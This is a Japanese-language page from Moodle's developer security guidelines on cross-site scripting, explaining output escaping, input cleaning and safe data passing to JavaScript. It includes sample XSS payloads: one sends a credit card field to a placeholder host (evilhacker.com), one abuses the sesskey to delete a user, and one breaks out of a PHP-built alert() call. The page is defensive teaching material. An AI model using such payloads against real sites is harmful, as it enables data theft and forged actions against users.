開発:セキュリティ:クロスサイトスクリプティング
このページは、Moodleセキュリティガイドラインの一部です。
何が危険ですか?
通常、ウェブブラウザでは、コンテンツに影響を及ぼす恐れのある、別サーバからのJavaスクリプトの実行を避けるようになっています。例えば、あなたのMoodleページ (http://mymooodle.com/) 内のiframeに http://makemerich.com/ の広告を表示していると考えましょう。広告ページのJavaスクリプトは、あなたのページすべてにアクセスすることはできません。
実際、Moodleでは、私たちがユーザにHTMLを入力させ、ウェブサイトの一部として表示しています。そのため、Moodleページに含まれているJavaスクリプトは、ページすべてにフルアクセスすることができてしまいます。
なぜそれが問題なのでしょう? それでは、悪意のあるハッカーが次のようなコードをクレジットカード番号入力ページに埋め込んだとしましょう。
document.write('<img width="1" height="1" ' +
'src="http://evilhacker.com/savedata.php?creditcard=' +
document.getElementById('creditcard').value + '" />');
実際のところ、これはMoodleにおいて極めて起こりそうもないシナリオですが、可能性のある、もっともらしいシナリオです。
XSSのもう1つの問題は、悪意のあるハッカーがsesskeyプロテクションを避けて通ることができる点です。例えば、
document.write('<img width="1" height="1" ' +
'src="http://example.com/moodle/user/delete.php?id=123&confirm=1&sesskey=' +
document.getElementById('sesskey').value + '" />');
または、さらに洗練された方法では、管理者が移動できるフォーラムでJavaスクリプトをPOSTリクエストとして実行させます。これは、非常に悪い結果となります。
少なくともInternet Explorerでは、HTML内と同様に、JavaスクリプトをCSSスタイル情報内に隠すことができることに留意してください。ブラウザのJavaスクリプトエンジンと同様に、FlashおよびJavaアプレットもスクリプト実行に使用することができます。
危険なコンテンツは、ユーザによって直接Moodleに入れられるだけではないことにも留意してください。例えば、外部RSSフィードから入ってくることも考えられます。
どのようにして、Moodleはこの問題を回避するのですか?
XSSアタックに対するシンプルな解決方法は、ユーザにHTMLのようなリッチコンテンツの入力させない、またFlashのようなプラグインをアップロードさせないことです。残念ですが、Moodleでは、私たちはユーザにリッチコンテンツを使わせたいと考えています。例えば、私たちは、フォーラム内で学生にオレンジ色のテキストを点滅させて自分を表現させたいと考えることがあります。また、私たちは、学生が使用するために、教師が面白いアプレットをアップロードできるようにしたいと考えることもあります。それゆえ、私たちは譲歩する必要があるのです。
アウトプットをエスケープする
Moodleは、ユーザによって入力されたコンテンツを4つのカテゴリに分類します:
- プレインテキストコンテンツ。例えば、小テストの記述問題に対する学生の解答。
- multi-lang spanを含んだラベル除く、プレインテキストのラベル。例えば、コース名またはセクションタイトル。
- すべてのユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。
- 教師のように信頼されるユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。
コンテンツタイプに応じて、あなたは適切な出力関数を使用する必要があります。例えば、あなたがプレインテキストコンテンツを使用する場合、コンテンツを出力するため、s() 関数を使用すべきです。この関数では、すべての「<」文字を「&anp;」に置換します。この置換が実行された場合、入力内容がJavaスクリプトと解釈されることはありません。
インプットのクリーニング
もう一方のプロテクションは、日付が入力される時点でクリーニングすることです。これは、optional_paramまたはrequired_param関数を使用して実行されます。例えば、あなたが整数の入力を期待する場合、PARAM_INTを通すことで、整数のみ戻すことができます。変数に数値のみ含まれていることを知っている場合、あなたは、悪意のあるJavaスクリプトが含まれていないことを確信することができます。
しかし、HTMLのように非常に手の込んだ入力では、コードがいくつかの複雑な状態をまずく処理してしまう可能性もあります。アルゴリズムは、将来的に、ほぼ確実に改善されますので、複雑なコンテンツに関して、私たちは生の入力をデータベースに保存して、最新のアルゴリズムを使用することにより、出力時のみクリーニングします。
出力をエスケープする 2 - Javaスクリプト
あなたが注意する必要のある、他の部分は、Javaスクリプトへのデータ送信です。例えば、あなたが、以下のようなJavaスクリプトをPHPコード内に作成した場合:
echo '<script type="text/javascript">';
echo 'alert("' . $userinput . '");';
echo '</script>';
悪意のあるハッカーは、$userinput に対して「"); /* Do something evil. */ (」のような文字列を入力した後、「/* Do something evil. */」の中に悪さをするためのコードを入力して、あなたのウェブページで実行することができてしまいます。
Moodle 2.0およびそれ以降のバージョンのベストな解決方法は、このようなJavaスクリプトをechoしないことです。代わりに、Javaスクリプトガイドラインに従ってください。そして、あなたのJavaスクリプトを外部ファイルに置いた後、$PAGE->requires->data_for_js または $PAGE->requires->js_function_call を使用してコミュニケートしてください。これら2つのメソッドは、json_encodeを使用して、Javaスクリプトに渡されるPHPコードすべてを適切にエンコードします。
Moodle 1.9以前のバージョンでは、利用可能なツールは、それほど洗練されていませんでした。あなたは、まだ外部ファイルに可能なだけJavaスクリプトを記述して、require_jsを使ってインクルードする必要があります。しかし、PHPからJavaスクリプト自身へのデータ送信は、あなたが実施する必要があります。Moodle 1.9およびそれ以前のバージョンでは、Javaスクリプトコード内へのPHPストリングのインクルードに関して、安全にエンコードするため、addslashes_js関数が提供されています。
あなたのコードで、あなたがすべきこと
- あなたが希望するデータタイプのみ受け付けるよう、適切なPARAM_...タイプにより、入力値をoptional_paramまたはrequired_paramで取得します。
- 代わりに、フォームに適切な->setTypeを定義した、moodleformsを使用してください。
- 出力時、コンテンツを適切にクリーニングまたはエスケープしてください。
- プレインテキストコンテンツの出力には、s または p を使用してください (上記タイプ1)。
- multi-lang spanのように、最小限のHTMLのコンテンツを出力するには、format_stringを使用してください (上記タイプ2)。
- 他のすべてのコンテンツを出力するには、format_textを使用してください (上記タイプ3および4)。どの程度コンテンツがクリーニングされるかは (つまり、タイプ3および4の違い)、format_textに対する$options->noclean値に依存します。
- 入力されたコンテンツを、format_textおよび$options->nocleanを使用して出力する場合、ケイパビリティチェックする必要があります。また、そのケイパビリティは、必ずRISK_XSSにマークしてください。
- Javaスクリプトのデータを送信する場合:
- Moodle 2.0またはそれ以降のバージョンでは、$PAGE->requires->data_for_jsまたは$PAGE->requires->js_function_callメソッドを使用します。
- Moodle 1.9およびそれ以前のバージョンでは、表示前にJavaスクリプトコードのデータをaddslashes_jsを使用してエスケープします。
管理者として、あなたがすべきこと
- あなたが信頼しない限り、ユーザにRISK_XSSのケイパビリティを割り当てないでください。
- セキュリティオーバービューレポートにより、この割り当てをチェックすることができます。